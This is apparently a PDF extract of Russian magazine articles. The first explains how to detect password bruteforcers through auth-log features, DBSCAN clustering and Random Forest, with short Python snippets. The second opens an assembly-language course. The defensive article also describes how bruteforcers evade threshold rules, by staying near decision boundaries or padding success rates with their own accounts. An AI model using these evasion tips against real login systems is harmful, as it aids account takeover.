Для  АБФ  очень  важ но  най ти  ком про мисс  меж ду  прос тотой,  качес твом

и огра ниче ниями, нак ладыва емы ми на удобс тво поль зования.

При веду при мер одной типич ной проб лемы, с которой мож но стол кнуть ся

при кон фигура ции. Рас смот рим сле дующее пра вило: если за опре делен ное

вре мя t отно шение чис ла успешных авто риза ций к их обще му чис лу мень ше,

чем q, а общее чис ло зап росов с это го IP боль ше, чем p, счи таем, что с это го

адре са  идет  брут форс.  Если  пос мотреть  вни матель нее,  оно  пред став ляет

собой прос тое дерево решений (рис. 1).

Рис. 1. Дерево решений

Здесь  каж дому  IP‐адре су  соот ветс тву ет  точ ка  на  плос кости,  а  опи сан ное

выше пра вило будет раз бивать саму плос кость таким обра зом, как показа но

на рис. 2.

Рис. 2. Раз биение прос транс тва приз наков

Ос нован ный на таком пра виле АБФ будет отлавли вать лишь тех поль зовате‐ 

лей,  что  попадут  в  пра вый  ниж ний  угол.  Опыт ным  путем  мож но  опре делить

гра ницу  реша ющих  пра вил:  находясь  на  ней,  получит ся  бру тить  более

эффектив но, чем внут ри зеленой области.

Ес ли быть более  точ ным,  то опти маль но  такое соот ношение n_requests  /

success rate, которое попада ет в вер шины крас ной области (рис. 2). Чем бли‐ 

же к этим вер шинам будет работать брут форсер, тем эффектив нее получат ся

его резуль таты.

По это му  при  кон фигура ции  такого  АБФ  парамет ром  опти миза ции  будет

цен траль ная  вер шина  квад рата.  Ее  рас положе ние  опре деля ет  работу  всей

сис темы. Если она ока жет ся слиш ком низ ко,  то мы дадим боль шую сво боду

брут форсе рам; если же слиш ком высоко, то впол не можем уре зать нор маль‐ 

ных поль зовате лей. Такой трей доф типичен для сис тем АБФ.

При  неп равиль ной  нас трой ке  он  прак тичес ки  не меша ет  бру тить.  Здесь,

нап ример,  брут форсер  может  исполь зовать  нес коль ко  сво их  акка унтов

для успешной авто риза ции, что бы под нять свой success rate до нуж ного уров‐ 

ня, что в ито ге поз волит ему уве личить общее чис ло зап росов.

Рис. 3. Выбор раз деля ющей гра ницы

Ко неч ной  целью  кон фигура ции  сис темы  АБФ  будет  пос тро ение  такой  раз‐ 

деля ющей  гра ницы,  которая  прой дет  как мож но  бли же  к  нор маль ным  поль‐ 

зовате лям и при этом сде лает саму попыт ку брут форса как мож но более бес‐ 

смыс ленной (зат ратной по вре мени и ресур сам).

Ес ли  с  этим  при мером  все  доволь но  прос то,  то  как  в  общем  слу чае

понять, какие зна чения парамет ров опти маль ны? Какой про цент брут форсе‐ 

ров про пус кает сис тема и сколь ко нор маль ных поль зовате лей она бло киру‐ 

ет?  Если  каж дый  день  к  тебе  пос тупа ют  нес коль ко  мил лионов  зап росов,

которые  вылива ются  в  сот ни  мегабайт  логов,  разоб рать ся  с  этим  вруч ную

невоз можно.  При дет ся  либо  исполь зовать  готовое  решение,  либо  писать

свое, но пол ностью исклю чить учас тие челове ка в ана лизе будет неп росто —

в резуль тате может получить ся ана логич ная сис тема АБФ, может, чуть луч ше

или хуже.

Так как мало что срав нится по эффектив ности с руч ным ана лизом, я пред‐ 

лагаю от него не отка зывать ся, а сде лать более удоб ным с помощью некото‐ 

рых  алго рит мов  машин ного  обу чения.  Мож но  зас тавить  прог рамму  выпол‐ 

нить  боль шую  часть  вычис лений,  ана логич ных  тем,  что  про водит  АБФ,

выделить  груп пы  похожих  меж ду  собой  поль зовате лей,  а  потом  для  каж дой

такой груп пы вруч ную рас ста вить мет ки.

Ес ли быть более  точ ным,  я пред лагаю про вес ти ана лиз в нес коль ко эта‐ 

пов:

соб рать  дан ные,  дос тупные о  поль зовате лях  сис темы  за  некото рый про‐ 

межу ток вре мени;

•

про вес ти клас териза цию поль зовате лей на осно ве этих дан ных (выделить

груп пы наибо лее похожих по поведе нию поль зовате лей);

•

вруч ную опре делить, в какие клас теры попали брут форсе ры;•

сде лать выводы на осно ве получен ных резуль татов.•

Есть нес коль ко воз можных вари антов исполь зования этих резуль татов,  но о

них я рас ска жу поз же, пока перей дем к пер вому эта пу — сбо ру дан ных.

СБОР ДАННЫХ О ПОЛЬЗОВАТЕЛЕ
Ко неч но, хотелось бы сра зу раз делить всех поль зовате лей на две груп пы —

пло хих и хороших, но зачас тую все не так прос то. Есть поль зовате ли, которые

заходят  из‐под  NAT’а,  круп ных  сетей  или  поль зуют ся  одним  прок си‐сер‐ 

вером.  Общее  количес тво  зап росов  с  таких  адре сов  будет  нам ного  выше,

чем  у  поль зовате лей  с  выделен ным  адре сом;  соот ветс твен но,  и  чис ло

неудач ных авто риза ций будет боль ше. Всех их надо отли чить от брут форсе‐ 

ров.  Если  нет  дос таточ ного  количес тва  парамет ров,  сде лать  это  доволь но

неп росто:  поль зовате ли  будут  силь но  переп летать ся  меж ду  собой  и  будет

слож но отде лить одних от дру гих. Поэто му  чем боль ше дан ных мы соберем

о кон крет ных поль зовате лях, тем луч ше.

Пос мотрим,  что  мож но  узнать  из  дан ных,  которые  есть  в  любом  логе

по авто риза циям:

да та и вре мя авто риза ции;•

ID акка унта;•

IP‐адрес;•

ре зуль тат авто риза ции (success/fail).•

На их осно ве для каж дого IP‐адре са мож но пос читать сле дующую ста тис тику:

сколь ко  часов  в  день  с  кон крет ного  IP  было  хотя  бы  нес коль ко  попыток

авто риза ции  (нуж но выб рать неболь шой порог,  что бы отбро сить сто рон‐ 

нюю активность, нап ример пять‐десять зап росов);

•

сред нее вре мя меж ду попыт ками авто риза ции (у брут форсе ров оно, веро‐ 

ятнее все го, будет мень ше, чем у любых дру гих поль зовате лей);

•

об щее количес тво попыток авто риза ции;•

от ношение successess / (successess + fails);•

со отно шение регуляр но исполь зуемых акка унтов — для каж дого акка унта,

посещен ного  с  дан ного  IP,  срав нить  количес тво  успешных  авто риза ций

с количес твом неус пешных, и если оно боль ше, то взять 1, ина че 0. Пос‐ 

читать  отно шение  сум мы  к  обще му  чис лу  посещен ных  акка унтов.  Такой

приз нак дол жен работать про тив тех брут форсе ров, которые дер жат нес‐ 

коль ко сво их акка унтов и вре мя от вре мени в них заходят, пыта ясь таким

обра зом «очис тить» себя от пре дыду щего показа теля.

•

Да лее  при веду  спи сок  парамет ров,  которые  так же  могут  быть  полез ными

при ана лизе, но могут отсутс тво вать в логах некото рых сис тем.

User‐Agent поль зовате ля. Очень час то брут форсе ры поль зуют ся готовы ми

тул зами,  поэто му  мож но  детек тить  зап росы  тех  прог рамм,  где  этот

параметр захар дко жен.

•

Стра на  поль зовате ля. Мож но  пос мотреть,  нас коль ко отли чает ся  целевая

ауди тория  посети телей  сай та  от  того,  что  есть  на  самом  деле.  Любые

откло нения от нор мы будут слу жить неп лохим приз наком.

•

Не кото рые  приз наки  мож но  так же  извлечь  из  чис ловых  акка унтов,  где

в  качес тве  логина  исполь зует ся  набор  цифр.  Такие  акка унты  могут  быть

инте рес ны,  если  у  них  кра сивый номер. Понятие  кра сивос ти мож но  пос‐ 

читать  как  количес тво  пов торя ющих ся  цифр  в  чис ле.  Для  чис ленно го

выраже ния  мож но  исполь зовать  отно шение  количес тва  пов торя ющих ся

цифр к количес тву цифр в номере либо счи тать энтро пию Шен нона — чем

она мень ше, тем номер кра сивее.

•

Ес ли в зап росе мож но ука зывать чис ловой иден тифика тор поль зовате ля,

то брут форсер может пос ледова тель но переби рать поль зовате лей по их

ID, исполь зуя при этом какой‐нибудь рас простра нен ный пароль, в надеж‐ 

де,  что  он  подой дет  хоть  к  какому‐нибудь  акка унту.  На  осно ве  такого

поведе ния мож но сде лать еще один параметр детек та.

•

Лю бые  дру гие  дан ные  тоже  могут  ока зать ся  кста ти.  Если  най дет ся

еще  пара‐трой ка  парамет ров,  их  тоже  мож но  добавить.  Перед  исполь‐ 

зовани ем их нуж но при вес ти в  чис ловой вид. Нап ример,  катего риаль ные

парамет ры, типа язы ка, стра ны и подоб ное мож но прос то про нуме ровать.

•

КЛАСТЕРИЗАЦИЯ

 это метод поис ка законо мер‐ 
ностей в наборе дан ных, суть  которо го зак люча‐ 
ется  в  раз биении  это го  набора  на  одно род ные
груп пы  (клас теры).  Внут ри  таких  клас теров  дан‐ 
ные  мак сималь но  похожи  меж ду  собой  и  зна‐ 
читель но отли чают ся от эле мен тов извне.

Клас териза ция —

Для более точ ных резуль татов клас териза ции и акту аль нос ти резуль тата луч‐ 

ше  все го  соб рать  эти  дан ные  за  доволь но  неболь шой  про межу ток

(семь‐десять дней).

Со отно шение брут форсе ров в каж дый отдель ный момент будет при мер но

оди нако во, что поз волит понять кар тину про исхо дяще го. Информа ция о дру‐ 

гих  адре сах  может  со  вре менем  зашум лять ся,  поэто му  если  брать  дан ные

за более дли тель ный пери од, то в резуль татах клас териза ции может ока зать‐ 

ся мно го мусора.

По  этой  же  при чине,  что бы  убрать  лиш ний  шум,  перед  началом  клас‐ 

териза ции луч ше про вес ти стан дарти зацию дан ных, при водя сред нее и дис‐ 

персию по  каж дому парамет ру  к  0 и 1  соот ветс твен но. Это сде лает дан ные

менее  при вязан ными  к  дли тель нос ти  про межут ка,  внут ри  которо го  их  рас‐ 

смат ривали. На Python это мож но сде лать в две строч ки:

scaler = preprocessing.StandardScaler().fit(data_set)
data_set = scaler.transform(data_set)

Здесь и далее я пла нирую исполь зовать Python 2.7 в качес тве основно го язы‐ 

ка  для  при меров.  Мне  он  кажет ся  инту итив но  понят ным,  для  работы  необ‐ 

ходимо уста новить биб лиоте ки numpy и sklearn. Пол ный код при мера мож но

пос мотреть на  .github.com

Для  клас териза ции  будем  исполь зовать  алго ритм DBSCAN. С  хороши ми

при мера ми и ана логи ями сам алго ритм опи сан  . Если вкрат це, то он осно‐ 

ван  на  рас пре деле нии  точек  в  прос транс тве:  чем  плот нее  друг  к  дру гу  они

рас положе ны,  тем  веро ятнее,  что  они  попадут  в  один  клас тер.  Клю чевы ми

парамет рами алго рит ма явля ются eps и min_pts.

тут

Прин цип работы алго рит ма DBSCAN

Для  каж дой  точ ки  прос транс тва  алго ритм  вычис ляет  ее  соседей  —  точ ки,

находя щиеся  от  нее  на  рас сто янии  не  боль ше,  чем  eps.  Если  таких  точек

боль ше, чем min_pts, то ее счи тают кор невой (core). Если же точ ка — сосед

кор невой,  но  в  ее  окрес тнос ти  мень ше,  чем min_pts,  соседей,  то  ее  будем

счи тать  гра нич ной  (border). Две  точ ки  p1  и  p2 будем счи тать  дос тижимы ми,

если най дет ся такая пос ледова тель ность кор невых точек, которая их соеди‐ 

няет.  Каж дая  точ ка  в  такой  пос ледова тель нос ти  дол жна  быть  соседом  пре‐ 

дыду щей.

Та ким  обра зом,  все  точ ки  прос транс тва  рас пада ются  на  груп пы  дос‐ 

тижимых точек, внут ри которых любые две точ ки будут дос тижимы. Все точ ки,

которые не попали ни в одну груп пу, будем счи тать шумом (noise).

Для выбора зна чений min_pts и eps нет готовых рецеп тов. При выборе их

зна чений я ори енти ровал ся на количес тво нерас пре делен ных точек, ста раясь

его умень шить, при этом получив уме рен ное количес тво клас теров.

На дан ный момент сущес тву ет мно го более прод винутых алго рит мов клас‐ 

териза ции,  таких  как  OPTICS,  одна ко  здесь  я  решил  исполь зовать  имен но

DBSCAN из‐за его прос тоты, хороших прак тичес ких резуль татов и при емле‐ 

мой реали зации на Python. В прин ципе, его мож но заменить на любой дру гой

алго ритм,  который  боль ше  под ходит  для  тво ей  кон крет ной  задачи,  это  не

дол жно никак пов лиять на дру гие эта пы ана лиза.

При боль шом объ еме дан ных для их клас териза ции может пот ребовать ся

мно го  опе ратив ной  памяти.  В  этом  слу чае  мож но  попытать ся  исполь зовать

KD‐деревья  в  качес тве струк туры для  хра нения дан ных. Это мож но сде лать,

прос то задав нуж ный параметр в алго рит ме:

clusterer = DBSCAN(eps=0.4, min_samples=30,algorithm='kd_tree')
clusterer.fit(data_set) 

Ес ли  это  не  помог ло,  мож но  взять  ран домную  под выбор ку  дан ных,  то  есть

выб рать какое‐то слу чай ное под мно жес тво дан ных, нап ример 30–40% от их

обще го  количес тва,  полагая,  что  от  это го  конеч ные  резуль таты  не  силь но

изме нят ся.

n = len(data_set)
reduction_rate = 0.4
data_indexes = [i for i in xrange(0, n) if rnd.random() < reduct
ion_rate]
reduced_data = data_set[data_indexes]

Ес ли  ты исполь зовал лишь часть дан ных,  то име ет смысл  каким‐то обра зом

рас пре делить  оставши еся.  Для  этой  цели  мож но  взять  какой‐нибудь  клас‐ 

сифика тор,  нап ример Random Forest. Обу чить его на  уже раз мечен ных дан‐ 

ных, а потом пред ска зать резуль тат для оставших ся.

rf_clf = RandomForestClassifier(n_estimators=100, n_jobs=8)
rf_clf.fit(reduced_data,reduced_data_labels)
all_labels = rf_clf.predict(data_set)

Для  визу али зации  резуль татов  клас териза ции  мно гомер ных  дан ных  мож но

исполь зовать алго ритм TSNE. С его помощью мож но сок ратить раз мерность

дан ных до двух, сох ранив при этом отно ситель ное рас положе ние клас теров.

Под робное опи сание это го алго рит ма читай  .здесь

Ре зуль таты клас териза ции, визу али зиро ван ные с помощью TSNE

АНАЛИЗ ПОЛУЧЕННЫХ РЕЗУЛЬТАТОВ
На осно ве получен ной клас териза ции опре делим, в какие из клас теров мог ли

попасть  брут форсе ры.  Для  это го  мож но  сде лать  час тичную  выбор ку

из исходных дан ных, соот ветс тву ющих каж дому получен ному клас теру. Такой

набор  дан ных  уже  мож но  лег ко  обра ботать  вруч ную —  клас теров,  по  идее,

будет  не  так  мно го,  а  прос мотреть  по  10–15  экзем пля ров  каж дого  вида

не дол жно занять мно го вре мени.

Про ведя  такого  рода  ана лиз,  мож но  уста новить,  есть  ли  на  сай те  брут‐ 

форсе ры, какую долю поль зовате лей они сос тавля ют, какое количес тво зап‐ 

росов про изво дят.

Ис поль зуя Random Forest, мож но сра зу пос ле обу чения выделить Feature

Importance  —  набор  приз наков,  которые  наибо лее  важ ны  для  раз деления

групп поль зовате лей. Обу чив RF в режиме один ко мно гим, ког да брут форсе‐ 

ров ста вят в про тиво вес всем осталь ным поль зовате лям, мож но получить тот

набор приз наков, которые хорошо детек тят брут форс.

# Метки кластеров, в которые попали брутфорсеры
bruteforce_labels = set([0,5])
train_y = []
for i in xrange(0, n):
   if all_labels[i] in bruteforce_labels:
       train_y.append(0.0)
   else:
       train_y.append(1.0)
rf_clf = RandomForestClassifier(n_estimators=100, n_jobs=8)
rf_clf.fit(data_set,train_y)
feature_importances = sorted(zip(feature_names,rf_clf.feature_importa
nces_),
key=lambda x: x[1], reverse=True)
for feature, importance in feature_importances:
   print "%s имеет значимость в %f процентов" %(feature,100*import
ance)

Чем боль ше зна чимость приз нака,  тем он более важен для отде ления брут‐ 

форсе ров от осталь ных поль зовате лей. Топовые приз наки поз воля ют выявить

наибо лее  проб лемные  мес та  в  текущем  АБФ.  Не  все  приз наки,  которые

здесь  исполь зовались,  лег ко  вычис ляют ся  в  режиме  онлайн,  к  тому  же

некото рые  из  них  могут  не  учи тывать ся  вашим  АБФ.  Это  не  всег да  будет

проб лемой — один раз выделив брут форсе ров, мож но обу чить клас сифика‐ 

тор  на  мень шем  чис ле  парамет ров,  и,  если  информа ции,  содер жащей ся

в  них,  будет  дос таточ но  для  опре деле ния  брут форсе ров,  мож но  брать  зна‐ 

чимость уже отту да.

На  осно ве  получен ных  дан ных  так же  мож но  выделить  акка унты,  которые

были  угна ны:  для  это го  нуж но  пос мотреть,  в  какие  акка унты  успешно  авто‐ 

ризо вались и обыч ные поль зовате ли, и брут форсе ры. Здесь будет два вари‐ 

анта:

1. «Обыч ными  поль зовате лями»  ока жут ся  брут форсе ры,  которые  заш ли

под дру гим IP.

2. Ак каунт дей стви тель но был взло ман.

В  любом  слу чае  мож но  при нять  некото рые  меры  для  повыше ния  безопас‐ 

ности — отпра вить поль зовате лям пись мо с прось бой сме нить пароль либо

заб локиро вать подоз ритель ные акка унты.

В  резуль тате  мы  смог ли  опре делить,  есть  ли  в  сис теме  брут форсе ры,

выявить самые сла бые мес та АБФ, сос тавить спи сок акка унтов, которые мог‐ 

ли быть сбру чены.

Ко неч но, пред ложен ный под ход не отли чает ся прос тотой или изя щес твом,

одна ко  мне  он  кажет ся  доволь но  гиб ким.  Тут  нет  какого‐то  чер ного  ящи ка,

на каж дом эта пе ясно, что и как ты дела ешь с дан ными, и это поз воля ет лег ко

интер пре тиро вать резуль таты. Мож но добав лять и уби рать некото рые эта пы

ана лиза, менять исполь зуемые алго рит мы и смот реть, что получа ется. В этом

же  зак люча ется  и  глав ный  минус  —  его  нель зя  прос то  исполь зовать  «из

короб ки», при дет ся пот ратить вре мя, под бирая нуж ные парамет ры,  которые

дадут  опти маль ный  резуль тат.  Это  боль ше  иссле дова тель ская  работа.  Но,

если  в  резуль тате  получит ся  улуч шить  работу  сво его  АБФ  и  сде лать  сайт

более защищен ным, она опре делен но сто ит сво его вре мени.

https://github.com/rkulakov/bruteforce_analysis
https://habrahabr.ru/post/322034/
https://habrahabr.ru/post/267041/
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КОДИНГ

Эту  идею  мы  вынаши вали  дол го.  Навер ное,  нес коль ко  лет
мы  штур мовали  ее  со  всех  сто рон,  и  вся кий  раз  нам
что‐нибудь мешало. С одной сто роны, ассем блер — это кру‐ 
то  нас толь ко,  нас коль ко  вооб ще  может  быть  кру то
для  нашего  читате ля‐хакера  (кря кера,  ревер сера)  уме ние
общать ся с компь юте ром на его язы ке. С дру гой сто роны —
акту аль ных  руководств  по  асму,  в  том  чис ле  изда ния  это го
века,  дос таточ но,  а  вре мена  нын че  либераль ные,
веб‐хакеры  и  любите ли  JS  могут  нас  не  понять  и  не  одоб‐ 
рить.  :)  Точ ку  в  спо ре  физиков,  лириков,  ста рооб рядцев,
никони ан, веб‐хакеров и тру‐кря керов пос тавил успех 

.  Ока залось,  что  сей час,  в  XXI
веке, тру‐кря керы все еще не сда ли сво их позиций и нашим
читате лям это инте рес но!

цик ла
ста тей  по  ревер су  мал вари

Это  пер вая  (всту питель ная)  статья  кур са.  Курс
рас счи тан  на  тех,  кто  в  целом  зна ком  с  высоко‐ 
уров невым  прог рамми рова нием  и  толь ко  прис‐ 
тупа ет к изу чению ассем бле ра.

Но что такое прог рамми рова ние само по себе по сво ей сути, вне зависи мос‐ 
ти  от  какого‐либо  язы ка?  Раз нооб разие  отве тов  поража ет.  Наибо лее  час то
мож но услы шать такое опре деле ние: прог рамми рова ние — это сос тавле ние
инс трук ций  или  команд  для  пос ледова тель ного  исполне ния  их  машиной
с  целью  решить  ту  или  иную  задачу.  Такой  ответ  впол не  спра вед лив,  но,
на мой взгляд, не отра жает всей пол ноты, как если бы мы наз вали литера туру
сос тавле нием  из  слов  пред ложений  для  пос ледова тель ного  проч тения  их
читате лем.  Я  скло нен  полагать,  что  прог рамми рова ние  бли же  к  твор чес тву,
к искусс тву. Как любой вид искусс тва — выраже ние твор ческой мыс ли, идеи,
прог рамми рова ние  пред став ляет  собой  отра жение  челове чес кой  мыс ли.
Мысль же быва ет и гени аль ная, и совер шенно пос редс твен ная.

Но, каким бы видом прог рамми рова ния мы ни занима лись, успех зависит
от прак тичес ких навыков вку пе со зна нием фун дамен таль ных основ и теории.
Теория  и  прак тика,  изу чение  и  труд —  вот  кра еуголь ные  кам ни,  на  которых
осно выва ется успех.

В пос леднее вре мя ассем блер незас лужен но находит ся в тени дру гих язы‐ 
ков. Обус ловле но это гло баль ной ком мерци али заци ей, нап равлен ной на то,
что бы в мак сималь но корот кие сро ки получить как мож но боль шую при быль
от  про дук та.  Ины ми  сло вами,  мас совость  взя ла  верх  над  эли тар ностью.
А  ассем блер,  по  моему  мне нию,  бли же  к  пос ледне му.  Гораз до  выгод нее
в  срав нитель но  неболь шие  сро ки  под натас кать  уче ника  в  таких,  нап ример,
язы ках, как С++, С#, PHP, Java, JavaScript, Python, что бы он был более‐менее
спо собен  соз давать  шир потреб ный  софт,  не  задава ясь  воп росами,  зачем
и почему он так дела ет, чем выпус тить хороше го спе циалис та по ассем бле ру.
При мером  тому слу жит обширней ший рынок все воз можных  кур сов по прог‐ 
рамми рова нию  на  любом  язы ке,  за  исклю чени ем  ассем бле ра.  Та  же  тен‐ 
денция прос лежива ется как в пре пода вании в вузах, так и в учеб ной литера‐ 
туре. В обо их слу чаях вплоть до сегод няшне го дня боль шая часть матери ала
базиру ется на ран них про цес сорах серии 8086, на  так называ емом «реаль‐ 
ном»  16‐бит ном  режиме  работы,  опе раци онной  сре де MS‐DOS! Воз можно,
что одна из при чин в том, что, с одной сто роны, с появ лени ем компь юте ров
IBM PC пре пода вате лям приш лось  перей ти  имен но  на  эту  плат форму из‐за
недос тупнос ти  дру гих.  А  с  дру гой  сто роны,  по  мере  раз вития  линей‐ 
ки  80х86  воз можность  запус ка  прог рамм  в  режиме  DOS  сох ранялась,  что
поз воляло сэконо мить день ги на при обре тение новых учеб ных компь юте ров
и  сос тавле ние  учеб ников  для  изу чения  архи тек туры  новых  про цес соров.
Одна ко сей час такой выбор плат формы для изу чения совер шенно неп рием‐ 
лем.  MS‐DOS  как  сре да  выпол нения  прог рамм  без надеж но  уста рела  уже
к  середи не  девянос тых  годов,  а  с  перехо дом  к  32‐бит ным  про цес сорам,
начиная  с  про цес сора  80386,  сама  сис тема  команд  ста ла  нам ного  более
логич ной.  Так  что  бес смыс ленно  тра тить  вре мя  на  изу чение  и  объ ясне ние
стран ностей архи тек туры реаль ного режима, которые заведо мо никог да уже
не появят ся ни на одном про цес соре.

Что каса ется выбора опе раци онной сре ды для изу чения ассем бле ра,  то,
если  говорить  о  32‐бит ной  сис теме  команд,  выбор  срав нитель но  невелик.
Это  либо  опе раци онные  сис темы  Windows,  либо  пред ста вите ли  семей ства
UNIX.

Так же  сле дует  ска зать  нес коль ко  слов  о  том,  какой  имен но  ассем блер
выб рать для той или дру гой опе раци онной сре ды. Как извес тно, для работы
с  про цес сорами  х86  исполь зуют ся  два  типа  син такси са  ассем бле ра  —
это син таксис AT&T и син таксис Intel. Эти син такси сы пред став ляют одни и те
же коман ды совер шенно по‐раз ному. Нап ример,  коман да в син такси се  Intel
выг лядит так:

mov eax,ebx

В син такси се же AT&T уже будет иной вид:

movl %eax,%ebx

В  сре де  ОС  UNIX  более  популя рен  син таксис  типа  AT&T,  одна ко  учеб ных
пособий  по  нему  нет,  он  опи сыва ется  исклю читель но  в  спра воч ной  и  тех‐ 
ничес кой  литера туре.  Поэто му  логич но  выб рать  ассем блер  на  осно ве  син‐ 
такси са  Intel. Для UNIX‐сис тем есть  два основных  ассем бле ра — это NASM
(Netwide Assembler)  и  FASM  (Flat  Assembler). Для  линей ки Windows популяр‐ 
ностью  поль зуют ся  FASM  и  MASM  (Macro  Assembler)  от  фир мы  Microsoft,
и так же сущес тво вал еще TASM (Turbo Assembler) фир мы Borland, которая уже
доволь но дав но отка залась от под дер жки собс твен ного детища.

В дан ном цик ле ста тей изу чение будем вес ти в сре де Windows на осно ве
язы ка ассем бле ра MASM (прос то потому, что он мне нра вит ся боль ше). Мно‐ 
гие авто ры на началь ном эта пе изу чения ассем бле ра впи сыва ют его в обо‐ 
лоч ку язы ка си, исхо дя из тех сооб ражений, что перей ти к прак тичес ким при‐ 
мерам в опе раци онной сре де яко бы доволь но труд но: нуж но знать и осно вы
прог рамми рова ния в ней, и коман ды про цес сора. Одна ко и такой под ход тре‐ 
бует хоть мало‐маль ских начат ков зна ний в язы ке си. Дан ный же цикл ста тей
от самого сво его начала будет сос редото чен толь ко на самом ассем бле ре,
не сму щая читате ля ничем иным, ему непонят ным, хотя в даль нейшем и будет
прос леживать ся связь с дру гими язы ками.

Сле дует отме тить, что при изу чении основ прог рамми рова ния, и это каса‐ 
ется  не  толь ко  прог рамми рова ния  на  ассем бле ре,  край не  полез но  иметь
пред став ление  о  куль туре  кон соль ных  при ложе ний.  И  совер шенно  нежела‐ 
тель но начинать обу чение сра зу же с соз дания око шечек,  кно почек,  то есть
с окон ных при ложе ний. Быту ет мне ние, что кон соль — арха ичный пережи ток
прош лого. Одна ко это не так. Кон соль ное при ложе ние поч ти лишено вся кой
внеш ней зависи мос ти от окон ной обо лоч ки и сос редото чено глав ным обра‐ 
зом  на  выпол нении  кон крет но  пос тавлен ной  задачи,  что  дает  прек расную
воз можность,  не  отвле каясь  ни  на  что  дру гое,  кон цен три ровать  вни мание
на изу чении базовых основ как прог рамми рова ния, так и самого ассем бле ра,
вклю чая зна комс тво с алго рит мами и их раз работ ку для решения прак тичес‐ 
ких  задач.  И  к  тому  момен ту,  ког да  нас танет  вре мя  перей ти  к  зна комс тву
с окон ными при ложе ниями,  за  пле чами  уже будет  вну шитель ный  запас  зна‐ 
ний, ясное пред став ление о работе про цес сора и, самое глав ное, осоз нание
сво их дей ствий: как и что работа ет, зачем и почему.

ЧТО ТАКОЕ АССЕМБЛЕР?
Са мо сло во    (assembler)  перево дит ся  с  англий ско го  как  «сбор‐ 
щик». На  самом деле  так  называ ется  прог рамма‐тран сля тор,  при нима ющая
на вхо де текст, содер жащий условные обоз начения машин ных команд, удоб‐ 
ные  для  челове ка,  и  перево дящая  эти  обоз начения  в  пос ледова тель ность
соот ветс тву ющих  кодов машин ных  команд,  понят ных про цес сору. В отли чие
от  машин ных  команд,  их  условные  обоз начения,  называ емые  так же 

, запом нить срав нитель но лег ко, так как они пред став ляют собой
сок ращения от англий ских слов. В даль нейшем мы будем для прос тоты име‐ 
новать мне мони ки  ассем блер ными  коман дами. Язык  условных обоз начений
и называ ется  .

ас сем блер

мне- 

мони ками

язы ком ассем бле ра

На  заре  компь ютер ной  эры  пер вые  ЭВМ  занима ли  целые  ком наты
и весили не одну тон ну, имея объ ем памяти с воробь иный мозг, а  то и того
мень ше. Единс твен ным спо собом прог рамми рова ния в те вре мена было вби‐ 
вать  прог рамму  в  память  компь юте ра  непос редс твен но  в  циф ровом  виде,
перек лючая тум бле ры, про вод ки и кно поч ки. Чис ло таких перек лючений мог‐ 
ло дос тигать нес коль ких сотен и рос ло по мере усложне ния прог рамм. Встал
воп рос об эко номии вре мени и денег. Поэто му сле дующим шагом в раз витии
ста ло  появ ление  в  кон це  сороко вых  годов  прош лого  века  пер вого  тран сля‐ 
тора‐ассем бле ра, поз воля юще го удоб но и прос то писать машин ные коман ды
на челове чес ком язы ке и в резуль тате авто мати зиро вать весь про цесс прог‐ 
рамми рова ния, упростить, уско рить раз работ ку прог рамм и их отладку. Затем
появи лись язы ки высоко го уров ня и   (более интеллек туаль ные
генера торы  кода  с  более  понят ного  челове ку  язы ка)  и 
(исполни тели  написан ной  челове ком  прог раммы  на  лету).  Они  совер шенс‐ 
тво вались,  совер шенс тво вались  —  и,  наконец,  дош ло  до  того,  что  мож но
прос то прог рамми ровать мыш кой.

ком пилято ры

ин тер пре тато ры

Та ким  обра зом,  ассем блер —  это 
прог рамми рова ния,  поз воля ющий работать с  компь юте ром нап рямую, один
на один. Отсю да и его пол ная фор мулиров ка — язык прог рамми рова ния низ‐ 
кого уров ня вто рого поколе ния (пос ле машин ного кода). Коман ды ассем бле‐ 
ра один в один соот ветс тву ют коман дам про цес сора, но пос коль ку сущес тву‐ 
ют раз личные модели про цес соров со сво им собс твен ным набором команд,
то, соот ветс твен но, сущес тву ют и раз новид ности, или диалек ты, язы ка ассем‐ 
бле ра.  Поэто му  исполь зование  тер мина  «язык  ассем бле ра»  может  выз вать
оши боч ное  мне ние  о  сущес тво вании  еди ного  язы ка  низ кого  уров ня
или хотя бы стан дарта на такие язы ки. Его не сущес тву ет. Поэто му при име‐ 
нова нии  язы ка,  на  котором  написа на  кон крет ная  прог рамма,  необ ходимо
уточ нять, для какой архи тек туры она пред назна чена и на каком диалек те язы‐ 
ка написа на. Пос коль ку ассем блер при вязан к устрой ству про цес сора, а тип
про цес сора  жес тко  опре деля ет  набор  дос тупных  команд машин ного  язы ка,
то  прог раммы на  ассем бле ре  не  перено симы на  иную  компь ютер ную  архи‐ 
тек туру.

ма шин но ори енти рован ный язык

Пос коль ку ассем блер все го лишь прог рамма, написан ная челове ком, нич‐ 
то не меша ет дру гому прог раммис ту написать свой собс твен ный ассем блер,
что час то и про исхо дит. На самом деле не так уж важ но, язык какого имен но
ассем бле ра  изу чать.  Глав ное  —  понять  сам  прин цип  работы  на  уров не
команд  про цес сора,  и  тог да  не  сос тавит  тру да  осво ить  не  толь ко  дру гой
ассем блер, но и любой дру гой про цес сор со сво им набором команд.

СИНТАКСИС
Об щепри нято го стан дарта для син такси са язы ков ассем бле ра не сущес тву ет.
Одна ко  боль шинс тво  раз работ чиков  язы ков  ассем бле ра  при дер жива ются
общих  тра дици онных  под ходов.  Основные  такие  стан дарты  — 

 и  .
Intel-син- 

таксис AT&T-син таксис

Об щий фор мат записи инс трук ций оди наков для обо их стан дартов:

[метка:] опкод [операнды] [;комментарий]

Оп код — это и есть собс твен но ассем блер ная коман да, мне мони ка инс трук‐ 
ции  про цес сору.  К  ней  могут  быть  добав лены  пре фик сы  (нап ример,  пов‐ 
торения, изме нения типа адре сации). В качес тве опе ран дов могут выс тупать
кон стан ты,  наз вания  регис тров,  адре са  в  опе ратив ной  памяти  и  так  далее.
Раз личия  меж ду  стан дарта ми  Intel  и  AT&T  каса ются  в  основном  поряд ка
перечис ления опе ран дов и их син такси са при раз ных методах адре сации.

Ис поль зуемые  коман ды  обыч но  оди нако вы  для  всех  про цес соров  одной
архи тек туры или семей ства архи тек тур (сре ди широко извес тных — коман ды
про цес соров  и  кон трол леров Motorola,  ARM,  x86).  Они  опи сыва ются  в  спе‐ 
цифи кации про цес соров.

Нап ример,  про цес сор    нас ледовал  сис тему  команд  Intel  i8080,
рас ширил  ее  и  поменял  некото рые  коман ды  (и  обоз начения  регис тров)
на свой лад. Нап ример, сме нил Intel‐коман ду mov на ld. Про цес соры Motorola
Fireball нас ледова ли сис тему команд Z80, нес коль ко ее уре зав. Вмес те с тем
